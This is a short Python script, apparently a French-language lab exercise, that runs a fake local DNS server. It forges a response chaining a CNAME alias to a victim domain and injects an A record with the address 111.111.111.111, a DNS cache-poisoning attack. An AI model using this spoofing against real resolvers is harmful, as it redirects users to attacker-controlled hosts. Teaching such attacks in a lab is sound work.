You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
42 lines
1.9 KiB
42 lines
1.9 KiB
#!/usr/bin/env python3
|
|
|
|
import socket
|
|
|
|
# Des fonctions utilitaires pour encoder les paquets DNS.
|
|
# Vous pouvez y jetter un oeil si vous voulez mais ce n'est pas le plus important.
|
|
from dns_utils import *
|
|
|
|
# DNS utilise UDP en temps normal
|
|
sok = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
# Notre faux DNS est joignable localement sur le port 25566
|
|
sok.bind(("127.0.0.1", 25566))
|
|
|
|
# Attendre l'arrivée d'un paquet (requete) DNS
|
|
request, client = sok.recvfrom(512)
|
|
print("Traitement de la requete pour", client)
|
|
|
|
# Le nom de domaine utilisé comme alias pour s'affranchir des problèmes de cache
|
|
# TODO
|
|
alias_name = encode_name(b"existepas.nomde.domaine")
|
|
# Le véritable nom de domaine visé par l'attaque
|
|
spoofed_name = encode_name(b"nomde.domaine")
|
|
# L'adresse IP injectée dans le nom de domaine victime (spoofed_name)
|
|
injected_address = bytes((111, 111, 111, 111))
|
|
|
|
# Pour la simplicité, on ne tient compte que de l'identifiant de la requete qui est nécéssaire pour la réponse
|
|
identifier = request[:2]
|
|
|
|
# On fabrique la réponse en utilisant le même identifiant
|
|
response: bytes = identifier
|
|
# Puis on met les entêtes classiques
|
|
response += encode_header(response=True, opcode=0, authoritative=False, truncated=False, rec_d=True, rec_a=True, rcode=0, questions=1, answers=2, authorities=0, additional=0)
|
|
# On remet la question (ici elle est assumée être la même)
|
|
response += encode_question_entry(encoded_name=alias_name, type=TYPE_A, clazz=CLASS_IN)
|
|
# La réponse pour le nom de domaine demandé qui est un alias pour le nom victime
|
|
response += encode_response_entry(encoded_name=alias_name, type=TYPE_CNAME, clazz=CLASS_IN, ttl=3600, rdata=spoofed_name)
|
|
# La 2e réponse pour le nom de domaine victime, avec notre adresse IP injectée
|
|
response += encode_response_entry(encoded_name=spoofed_name, type=TYPE_A, clazz=CLASS_IN, ttl=3600, rdata=injected_address)
|
|
|
|
# Envoyer la réponse au client
|
|
sok.sendto(response, client)
|